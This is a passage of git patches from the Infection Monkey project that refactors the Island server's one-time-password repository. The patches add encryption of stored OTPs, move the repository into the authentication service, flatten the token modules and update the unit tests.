expires + :raises RetrievalError: If an error occurs while attempting to retrieve the expiration time :raises UnknownRecordError: If the OTP was not found """ - @abstractmethod - def delete_otp(self, otp: str): - """ - Delete an OTP from the repository - - :param otp: The OTP to delete - :raises RemovalError: If an error occurs while attempting to delete the OTP - """ - @abstractmethod def reset(self): """ diff --git a/monkey/monkey_island/cc/repositories/mongo_otp_repository.py b/monkey/monkey_island/cc/repositories/mongo_otp_repository.py index 25856d228ad..3ad02a4c6f8 100644 --- a/monkey/monkey_island/cc/repositories/mongo_otp_repository.py +++ b/monkey/monkey_island/cc/repositories/mongo_otp_repository.py @@ -1,6 +1,6 @@ from pymongo import MongoClient -from monkey_island.cc.models import OTP +from monkey_island.cc.server_utils.encryption import ILockableEncryptor from . import IOTPRepository from .consts import MONGO_OBJECT_ID_KEY @@ -8,33 +8,34 @@ class MongoOTPRepository(IOTPRepository): - def __init__(self, mongo_client: MongoClient): + def __init__( + self, + mongo_client: MongoClient, + encryptor: ILockableEncryptor, + ): + self._encryptor = encryptor self._otp_collection = mongo_client.monkey_island.otp self._otp_collection.create_index("otp", unique=True) - self._otp_collection.create_index("expiration_time", expireAfterSeconds=0) - def save_otp(self, otp: OTP): + def insert_otp(self, otp: str, expiration: float): try: - # Do we need to encrypt OTPs? - self._otp_collection.insert_one(otp.dict(simplify=True)) + encrypted_otp = self._encryptor.encrypt(otp.encode()) + self._otp_collection.insert_one({"otp": encrypted_otp, "expiration_time": expiration}) except Exception as err: raise StorageError(f"Error updating otp: {err}") - def get_otp(self, otp: str) -> OTP: + def get_expiration(self, otp: str) -> float: try: - otp_dict = self._otp_collection.find_one({"otp": otp}, {MONGO_OBJECT_ID_KEY: False}) + encrypted_otp = self._encryptor.encrypt(otp.encode()) + otp_dict = self._otp_collection.find_one( + {"otp": encrypted_otp}, {MONGO_OBJECT_ID_KEY: False} + ) except Exception as err: raise RetrievalError(f"Error retrieving otp: {err}") if otp_dict is None: raise UnknownRecordError("OTP not found") - return OTP(**otp_dict) - - def delete_otp(self, otp: str): - try: - self._otp_collection.delete_one({"otp": otp}) - except Exception as err: - raise RemovalError(f"Error deleting otp: {err}") + return otp_dict["expiration_time"] def reset(self): try: diff --git a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py b/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py index 60b35d1e286..2be8da36e44 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py @@ -1,9 +1,9 @@ +from dataclasses import dataclass from unittest.mock import MagicMock import mongomock import pytest -from monkey_island.cc.models import OTP from monkey_island.cc.repositories import ( IOTPRepository, MongoOTPRepository, @@ -13,6 +13,13 @@ UnknownRecordError, ) + +@dataclass +class OTP: + otp: str + expiration_time: float + + OTPS = ( OTP(otp="test_otp_1", expiration_time=1), OTP(otp="test_otp_2", expiration_time=2), @@ -21,16 +28,8 @@ @pytest.fixture -def empty_otp_repository() -> IOTPRepository: - return MongoOTPRepository(mongomock.MongoClient()) - - -@pytest.fixture -def otp_repository() -> IOTPRepository: - client = mongomock.MongoClient() - client.monkey_island.otp.insert_many((o.dict(simplify=True) for o in OTPS)) - otp_repository = MongoOTPRepository(client) - return otp_repository +def otp_repository(repository_encryptor) -> IOTPRepository: + return MongoOTPRepository(mongomock.MongoClient(), repository_encryptor) @pytest.fixture @@ -47,66 +46,58 @@ def error_raising_mongo_client() -> mongomock.MongoClient: @pytest.fixture -def error_raising_otp_repository(error_raising_mongo_client) -> IOTPRepository: - return MongoOTPRepository(error_raising_mongo_client) +def error_raising_otp_repository( + error_raising_mongo_client, repository_encryptor +) -> IOTPRepository: + return MongoOTPRepository(error_raising_mongo_client, repository_encryptor) -def test_save_otp(empty_otp_repository: IOTPRepository): - otp = OTP(otp="test_otp", expiration_time=1) - empty_otp_repository.save_otp(otp) - assert empty_otp_repository.get_otp("test_otp") == otp +def test_insert_otp(otp_repository: IOTPRepository): + otp_repository.insert_otp("test_otp", 1) + assert otp_repository.get_expiration("test_otp") == 1 -def test_save_otp__prevents_duplicates(otp_repository: IOTPRepository): +def test_insert_otp__prevents_duplicates(otp_repository: IOTPRepository): + otp_repository.insert_otp(OTPS[0].otp, OTPS[0].expiration_time) with pytest.raises(StorageError): - otp_repository.save_otp(OTPS[0]) + otp_repository.insert_otp(OTPS[0].otp, OTPS[0].expiration_time) -def test_save_otp__raises_storage_error_if_error_occurs( +def test_insert_otp__raises_storage_error_if_error_occurs( error_raising_otp_repository: IOTPRepository, ): with pytest.raises(StorageError): - error_raising_otp_repository.save_otp(OTP(otp="test_otp", expiration_time=1)) + error_raising_otp_repository.insert_otp("test_otp", 1) -def test_get_otp__raises_unknown_record_error_if_otp_does_not_exist( - empty_otp_repository: IOTPRepository, +def test_get_expiration__raises_unknown_record_error_if_otp_does_not_exist( + otp_repository: IOTPRepository, ): with pytest.raises(UnknownRecordError): - empty_otp_repository.get_otp("test_otp") + otp_repository.get_expiration("test_otp") -def test_get_otp__returns_otp_if_otp_exists(otp_repository: IOTPRepository): - assert otp_repository.get_otp(OTPS[0].otp) == OTPS[0] +def test_get_expiration__returns_expiration_if_otp_exists(otp_repository: IOTPRepository): + otp_repository.insert_otp(OTPS[0].otp, OTPS[0].expiration_time) + assert otp_repository.get_expiration(OTPS[0].otp) == OTPS[0].expiration_time -def test_get_otp__raises_retrieval_error_if_error_occurs( +def test_get_expiration__raises_retrieval_error_if_error_occurs( error_raising_otp_repository: IOTPRepository, ): with pytest.raises(RetrievalError): - error_raising_otp_repository.get_otp("test_otp") - - -def test_delete_otp__deletes_otp_if_otp_exists(otp_repository: IOTPRepository): - otp_repository.delete_otp(OTPS[0].otp) - - with pytest.raises(UnknownRecordError): - otp_repository.get_otp(OTPS[0].otp) - - -def test_delete_otp__raises_removal_error_if_error_occurs( - error_raising_otp_repository: IOTPRepository, -): - with pytest.raises(RemovalError): - error_raising_otp_repository.delete_otp("test_otp") + error_raising_otp_repository.get_expiration("test_otp") def test_reset__deletes_all_otp(otp_repository: IOTPRepository): + for o in OTPS: + otp_repository.insert_otp(o.otp, o.expiration_time) + otp_repository.reset() for o in OTPS: with pytest.raises(UnknownRecordError): - otp_repository.get_otp(o.otp) + otp_repository.get_expiration(o.otp) def test_reset__raises_removal_error_if_error_occurs(error_raising_otp_repository: IOTPRepository): diff --git a/vulture_allowlist.py b/vulture_allowlist.py index a8a1da34e25..1ff8e90995d 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -157,6 +157,7 @@ # Remove after #3078 OTP.expiration_time -IOTPRepository.save_otp -IOTPRepository.delete_otp +IOTPRepository.insert_otp +IOTPRepository.get_expiration +IOTPRepository.reset MongoOTPRepository From 498413278ae52d004f92a565c73b54edd3c23d5b Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 3 Apr 2023 18:47:07 +0000 Subject: [PATCH 1061/1338] Island: Remove OTP model --- monkey/monkey_island/cc/models/__init__.py | 1 - monkey/monkey_island/cc/models/otp.py | 13 ------- .../monkey_island/cc/models/test_otp.py | 35 ------------------- vulture_allowlist.py | 3 +- 4 files changed, 1 insertion(+), 51 deletions(-) delete mode 100644 monkey/monkey_island/cc/models/otp.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/models/test_otp.py diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 2b6a9fadc74..afdab5ec71b 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -8,4 +8,3 @@ from common.types import AgentID from .agent import Agent from .terminate_all_agents import TerminateAllAgents -from .otp import OTP diff --git a/monkey/monkey_island/cc/models/otp.py b/monkey/monkey_island/cc/models/otp.py deleted file mode 100644 index c624a244f83..00000000000 --- a/monkey/monkey_island/cc/models/otp.py +++ /dev/null @@ -1,13 +0,0 @@ -from datetime import datetime - -from common.base_models import InfectionMonkeyBaseModel - - -class OTP(InfectionMonkeyBaseModel): - """Represents a one-time password (OTP)""" - - otp: str - """One-time password (OTP)""" - - expiration_time: datetime - """The OTP is no longer valid after this time""" diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_otp.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_otp.py deleted file mode 100644 index 10f51004fb5..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/models/test_otp.py +++ /dev/null @@ -1,35 +0,0 @@ -from datetime import datetime, timezone - -import pytest - -from monkey_island.cc.models import OTP - -OTP_DICT = {"otp": "otp", "expiration_time": datetime(2020, 1, 1, 0, 0, 0, tzinfo=timezone.utc)} -OTP_SIMPLE_DICT = {"otp": "otp", "expiration_time": "2020-01-01T00:00:00+00:00"} - - -def test_otp__constructor(): - otp = OTP(**OTP_DICT) - - assert otp.otp == OTP_DICT["otp"] - assert otp.expiration_time == OTP_DICT["expiration_time"] - - -def test_otp__to_dict(): - otp = OTP(**OTP_DICT) - - assert otp.dict(simplify=True) == OTP_SIMPLE_DICT - - -def test_otp__immutable(): - otp = OTP(**OTP_DICT) - - with pytest.raises(TypeError): - otp.otp = "new-otp" - - -def test_expiration_time__immutable(): - otp = OTP(**OTP_DICT) - - with pytest.raises(TypeError): - otp.expiration_time = datetime(2022, 1, 1, 0, 0, 0, tzinfo=timezone.utc) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 1ff8e90995d..ada5d09ec1e 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -17,7 +17,7 @@ from infection_monkey.island_api_client import http_island_api_client from infection_monkey.transport.http import FileServHTTPRequestHandler from monkey_island.cc.deployment import Deployment -from monkey_island.cc.models import OTP, IslandMode, Machine +from monkey_island.cc.models import IslandMode, Machine from monkey_island.cc.repositories import ( IAgentEventRepository, IOTPRepository, @@ -156,7 +156,6 @@ _refresh_token_validator # Remove after #3078 -OTP.expiration_time IOTPRepository.insert_otp IOTPRepository.get_expiration IOTPRepository.reset From e1e64107ac49d51bdc492200379a1c8324d16a12 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 3 Apr 2023 18:55:15 +0000 Subject: [PATCH 1062/1338] UT: Test add duplicate OTP with different expiration --- .../cc/repositories/test_mongo_otp_repository.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py b/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py index 2be8da36e44..1f9bded149a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py @@ -63,6 +63,14 @@ def test_insert_otp__prevents_duplicates(otp_repository: IOTPRepository): otp_repository.insert_otp(OTPS[0].otp, OTPS[0].expiration_time) +def test_insert_otp__prevents_duplicate_otp_with_differing_expiration( + otp_repository: IOTPRepository, +): + otp_repository.insert_otp(OTPS[0].otp, 11) + with pytest.raises(StorageError): + otp_repository.insert_otp(OTPS[0].otp, 99) + + def test_insert_otp__raises_storage_error_if_error_occurs( error_raising_otp_repository: IOTPRepository, ): From 92e25cfba7409962852ebb294ab493a7119c1444 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 15:14:01 -0400 Subject: [PATCH 1063/1338] Island: Remove token/ to flatten out AuthenticationService --- monkey/monkey_island/cc/app.py | 3 ++- .../authentication_facade.py | 5 +++-- .../refresh_authentication_token.py | 2 +- .../flask_resources/utils.py | 2 +- .../authentication_service/token/__init__.py | 3 --- .../{token => }/token_generator.py | 0 .../{token => }/token_parser.py | 0 .../authentication_service/{token => }/types.py | 0 .../services/authentication_service/conftest.py | 17 ++++++++++++++++- .../test_refresh_authentication_token.py | 2 +- .../test_authentication_service.py | 4 ++-- .../{token => }/test_token_generator.py | 6 ++---- .../{token => }/test_token_parser.py | 9 ++++----- .../authentication_service/token/__init__.py | 0 .../authentication_service/token/conftest.py | 15 --------------- 15 files changed, 32 insertions(+), 36 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/authentication_service/token/__init__.py rename monkey/monkey_island/cc/services/authentication_service/{token => }/token_generator.py (100%) rename monkey/monkey_island/cc/services/authentication_service/{token => }/token_parser.py (100%) rename monkey/monkey_island/cc/services/authentication_service/{token => }/types.py (100%) rename monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/{token => }/test_token_generator.py (77%) rename monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/{token => }/test_token_parser.py (90%) delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/__init__.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/conftest.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 59fce72a2a7..352e51dccde 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -44,7 +44,8 @@ from monkey_island.cc.services.authentication_service.configure_flask_security import ( configure_flask_security, ) -from monkey_island.cc.services.authentication_service.token import TokenGenerator, TokenParser +from monkey_island.cc.services.authentication_service.token_generator import TokenGenerator +from monkey_island.cc.services.authentication_service.token_parser import TokenParser from monkey_island.cc.services.representations import output_json HOME_FILE = "index.html" diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 3bcb7be497f..78abc37d3f7 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -5,10 +5,11 @@ from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor -from monkey_island.cc.services.authentication_service.token.token_generator import TokenGenerator +from monkey_island.cc.services.authentication_service.token_generator import TokenGenerator from . import AccountRole -from .token import ParsedToken, Token, TokenParser +from .token_parser import ParsedToken, TokenParser +from .types import Token from .user import User diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py index 65882d05a73..c96c3dbb353 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/refresh_authentication_token.py @@ -5,7 +5,7 @@ from common.common_consts.token_keys import ACCESS_TOKEN_KEY_NAME, REFRESH_TOKEN_KEY_NAME from monkey_island.cc.flask_utils import AbstractResource, responses -from monkey_island.cc.services.authentication_service.token import TokenValidationError +from monkey_island.cc.services.authentication_service.token_parser import TokenValidationError from ..authentication_facade import AuthenticationFacade diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py index 554e7198906..c087d407dc4 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py @@ -7,7 +7,7 @@ from werkzeug.datastructures import ImmutableMultiDict from common.common_consts.token_keys import REFRESH_TOKEN_KEY_NAME -from monkey_island.cc.services.authentication_service.token import Token +from monkey_island.cc.services.authentication_service.types import Token def get_username_password_from_request(_request: Request) -> Tuple[str, str]: diff --git a/monkey/monkey_island/cc/services/authentication_service/token/__init__.py b/monkey/monkey_island/cc/services/authentication_service/token/__init__.py deleted file mode 100644 index e8589034eac..00000000000 --- a/monkey/monkey_island/cc/services/authentication_service/token/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -from .token_generator import TokenGenerator -from .token_parser import TokenParser, ParsedToken, TokenValidationError -from .types import Token diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_generator.py b/monkey/monkey_island/cc/services/authentication_service/token_generator.py similarity index 100% rename from monkey/monkey_island/cc/services/authentication_service/token/token_generator.py rename to monkey/monkey_island/cc/services/authentication_service/token_generator.py diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_parser.py b/monkey/monkey_island/cc/services/authentication_service/token_parser.py similarity index 100% rename from monkey/monkey_island/cc/services/authentication_service/token/token_parser.py rename to monkey/monkey_island/cc/services/authentication_service/token_parser.py diff --git a/monkey/monkey_island/cc/services/authentication_service/token/types.py b/monkey/monkey_island/cc/services/authentication_service/types.py similarity index 100% rename from monkey/monkey_island/cc/services/authentication_service/token/types.py rename to monkey/monkey_island/cc/services/authentication_service/types.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py index b691f4280f2..0917c30ef63 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -1,7 +1,15 @@ +from typing import Tuple from unittest.mock import MagicMock import pytest -from tests.unit_tests.monkey_island.conftest import init_mock_security_app +from flask import Flask +from flask_restful import Api +from flask_security import Security +from tests.unit_tests.monkey_island.conftest import ( + init_mock_app, + init_mock_datastore, + init_mock_security_app, +) from monkey_island.cc.services.authentication_service import register_resources from monkey_island.cc.services.authentication_service.authentication_facade import ( @@ -38,3 +46,10 @@ def get_mock_auth_app(authentication_facade: AuthenticationFacade): def flask_client(build_flask_client, mock_authentication_facade): with build_flask_client() as flask_client: yield flask_client + + +def build_app() -> Tuple[Flask, Api]: + app, api = init_mock_app() + user_datastore = init_mock_datastore() + app.security = Security(app, user_datastore) + return app, api diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py index 72d76a2d3a0..199064591dc 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_refresh_authentication_token.py @@ -9,7 +9,7 @@ from monkey_island.cc.services.authentication_service.flask_resources.refresh_authentication_token import ( # noqa: E501 RefreshAuthenticationToken, ) -from monkey_island.cc.services.authentication_service.token.token_parser import ( +from monkey_island.cc.services.authentication_service.token_parser import ( ExpiredTokenError, InvalidTokenSignatureError, TokenValidationError, diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index cd1475f5fae..d70d901f78d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -11,8 +11,8 @@ AuthenticationFacade, ) from monkey_island.cc.services.authentication_service.setup import setup_authentication -from monkey_island.cc.services.authentication_service.token import ( - TokenGenerator, +from monkey_island.cc.services.authentication_service.token_generator import TokenGenerator +from monkey_island.cc.services.authentication_service.token_parser import ( TokenParser, TokenValidationError, ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_generator.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_token_generator.py similarity index 77% rename from monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_generator.py rename to monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_token_generator.py index 68ae5f9813a..1a5b40c0411 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_generator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_token_generator.py @@ -1,8 +1,6 @@ -from tests.unit_tests.monkey_island.cc.services.authentication_service.token.conftest import ( - build_app, -) +from tests.unit_tests.monkey_island.cc.services.authentication_service.conftest import build_app -from monkey_island.cc.services.authentication_service.token.token_generator import TokenGenerator +from monkey_island.cc.services.authentication_service.token_generator import TokenGenerator def test_generate_token(freezer): diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_token_parser.py similarity index 90% rename from monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py rename to monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_token_parser.py index f29d6cada78..0c1dbead2d1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_parser.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_token_parser.py @@ -1,12 +1,11 @@ import pytest -from tests.unit_tests.monkey_island.cc.services.authentication_service.token.conftest import ( - build_app, -) +from tests.unit_tests.monkey_island.cc.services.authentication_service.conftest import build_app -from monkey_island.cc.services.authentication_service.token import TokenGenerator, TokenParser -from monkey_island.cc.services.authentication_service.token.token_parser import ( +from monkey_island.cc.services.authentication_service.token_generator import TokenGenerator +from monkey_island.cc.services.authentication_service.token_parser import ( ExpiredTokenError, InvalidTokenSignatureError, + TokenParser, ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/__init__.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/__init__.py deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/conftest.py deleted file mode 100644 index 323ed5a7875..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/conftest.py +++ /dev/null @@ -1,15 +0,0 @@ -from typing import Tuple - -from flask import Flask -from flask_restful import Api -from flask_security import Security -from tests.unit_tests.monkey_island.conftest import init_mock_app, init_mock_datastore - -USER_EMAIL = "unittest@me.com" - - -def build_app() -> Tuple[Flask, Api]: - app, api = init_mock_app() - user_datastore = init_mock_datastore() - app.security = Security(app, user_datastore) - return app, api From d20adbd88e942ace3087f33d9b960b78d811d589 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 15:25:03 -0400 Subject: [PATCH 1064/1338] Island: Move OTP repository into authentication_service Issue #3078 --- monkey/monkey_island/cc/repositories/__init__.py | 3 +-- .../authentication_service}/i_otp_repository.py | 0 .../authentication_service}/mongo_otp_repository.py | 11 ++++++++--- .../test_mongo_otp_repository.py | 4 ++-- 4 files changed, 11 insertions(+), 7 deletions(-) rename monkey/monkey_island/cc/{repositories => services/authentication_service}/i_otp_repository.py (100%) rename monkey/monkey_island/cc/{repositories => services/authentication_service}/mongo_otp_repository.py (87%) rename monkey/tests/unit_tests/monkey_island/cc/{repositories => services/authentication_service}/test_mongo_otp_repository.py (94%) diff --git a/monkey/monkey_island/cc/repositories/__init__.py b/monkey/monkey_island/cc/repositories/__init__.py index 6bd7754a0cb..6af7171673f 100644 --- a/monkey/monkey_island/cc/repositories/__init__.py +++ b/monkey/monkey_island/cc/repositories/__init__.py @@ -1,4 +1,5 @@ from .errors import RemovalError, RepositoryError, RetrievalError, StorageError, UnknownRecordError +from .consts import MONGO_OBJECT_ID_KEY from .i_file_repository import FileNotFoundError, IFileRepository @@ -11,7 +12,6 @@ from .i_agent_event_repository import IAgentEventRepository from .i_agent_log_repository import IAgentLogRepository from .i_agent_plugin_repository import IAgentPluginRepository -from .i_otp_repository import IOTPRepository from .local_storage_file_repository import LocalStorageFileRepository @@ -30,7 +30,6 @@ from .mongo_agent_repository import MongoAgentRepository from .mongo_node_repository import MongoNodeRepository from .mongo_agent_event_repository import MongoAgentEventRepository -from .mongo_otp_repository import MongoOTPRepository from .file_agent_log_repository import FileAgentLogRepository from .file_agent_plugin_repository import FileAgentPluginRepository diff --git a/monkey/monkey_island/cc/repositories/i_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py similarity index 100% rename from monkey/monkey_island/cc/repositories/i_otp_repository.py rename to monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py diff --git a/monkey/monkey_island/cc/repositories/mongo_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py similarity index 87% rename from monkey/monkey_island/cc/repositories/mongo_otp_repository.py rename to monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py index 3ad02a4c6f8..cc26ba288da 100644 --- a/monkey/monkey_island/cc/repositories/mongo_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py @@ -1,10 +1,15 @@ from pymongo import MongoClient +from monkey_island.cc.repositories import ( + MONGO_OBJECT_ID_KEY, + RemovalError, + RetrievalError, + StorageError, + UnknownRecordError, +) from monkey_island.cc.server_utils.encryption import ILockableEncryptor -from . import IOTPRepository -from .consts import MONGO_OBJECT_ID_KEY -from .errors import RemovalError, RetrievalError, StorageError, UnknownRecordError +from .i_otp_repository import IOTPRepository class MongoOTPRepository(IOTPRepository): diff --git a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py similarity index 94% rename from monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py rename to monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py index 1f9bded149a..d3c198a1079 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/repositories/test_mongo_otp_repository.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_mongo_otp_repository.py @@ -5,13 +5,13 @@ import pytest from monkey_island.cc.repositories import ( - IOTPRepository, - MongoOTPRepository, RemovalError, RetrievalError, StorageError, UnknownRecordError, ) +from monkey_island.cc.services.authentication_service.i_otp_repository import IOTPRepository +from monkey_island.cc.services.authentication_service.mongo_otp_repository import MongoOTPRepository @dataclass From e3f04ea25cec35cc6c49b9b09445035e2f48b4e1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 3 Apr 2023 15:31:53 -0400 Subject: [PATCH 1065/1338] Island: Add OTP type Issue #3078 --- .../flask_resources/agent_otp_login.py | 3 ++- .../cc/services/authentication_service/i_otp_repository.py | 6 ++++-- .../services/authentication_service/mongo_otp_repository.py | 5 +++-- .../cc/services/authentication_service/types.py | 1 + 4 files changed, 10 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index a69a97a5d30..cc8d9f6b7cf 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -6,6 +6,7 @@ from monkey_island.cc.flask_utils import AbstractResource, responses from ..authentication_facade import AuthenticationFacade +from ..types import OTP from .utils import add_refresh_token_to_response @@ -47,5 +48,5 @@ def post(self): return responses.make_response_to_invalid_request() - def _validate_otp(self, otp: str): + def _validate_otp(self, otp: OTP): return len(otp) > 0 diff --git a/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py index 5a30759cf8c..65119fb1bbe 100644 --- a/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/i_otp_repository.py @@ -1,11 +1,13 @@ from abc import ABC, abstractmethod +from .types import OTP + class IOTPRepository(ABC): """A repository used to store and retrieve `OTP`s""" @abstractmethod - def insert_otp(self, otp: str, expiration: float): + def insert_otp(self, otp: OTP, expiration: float): """ Insert an OTP into the repository @@ -15,7 +17,7 @@ def insert_otp(self, otp: str, expiration: float): """ @abstractmethod - def get_expiration(self, otp: str) -> float: + def get_expiration(self, otp: OTP) -> float: """ Get the expiration time of a given OTP diff --git a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py index cc26ba288da..36df94f2d99 100644 --- a/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py +++ b/monkey/monkey_island/cc/services/authentication_service/mongo_otp_repository.py @@ -10,6 +10,7 @@ from monkey_island.cc.server_utils.encryption import ILockableEncryptor from .i_otp_repository import IOTPRepository +from .types import OTP class MongoOTPRepository(IOTPRepository): @@ -22,14 +23,14 @@ def __init__( self._otp_collection = mongo_client.monkey_island.otp self._otp_collection.create_index("otp", unique=True) - def insert_otp(self, otp: str, expiration: float): + def insert_otp(self, otp: OTP, expiration: float): try: encrypted_otp = self._encryptor.encrypt(otp.encode()) self._otp_collection.insert_one({"otp": encrypted_otp, "expiration_time": expiration}) except Exception as err: raise StorageError(f"Error updating otp: {err}") - def get_expiration(self, otp: str) -> float: + def get_expiration(self, otp: OTP) -> float: try: encrypted_otp = self._encryptor.encrypt(otp.encode()) otp_dict = self._otp_collection.find_one( diff --git a/monkey/monkey_island/cc/services/authentication_service/types.py b/monkey/monkey_island/cc/services/authentication_service/types.py index 04aded763ad..020edec6ad0 100644 --- a/monkey/monkey_island/cc/services/authentication_service/types.py +++ b/monkey/monkey_island/cc/services/authentication_service/types.py @@ -1,3 +1,4 @@ from typing import TypeAlias Token: TypeAlias = str +OTP: TypeAlias = str From a43d78ad5eb696e0d7c88be31a78815b6a939467 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 31 Mar 2023 19:49:08 +0000 Subject: [PATCH 1066/1338] Island: Add a class to generate OTPs --- .../authentication_service/otp/__init__.py | 1 + .../otp/otp_generator.py | 32 +++++++++++++++++++ .../otp/test_otp_generator.py | 25 +++++++++++++++ 3 files changed, 58 insertions(+) create mode 100644 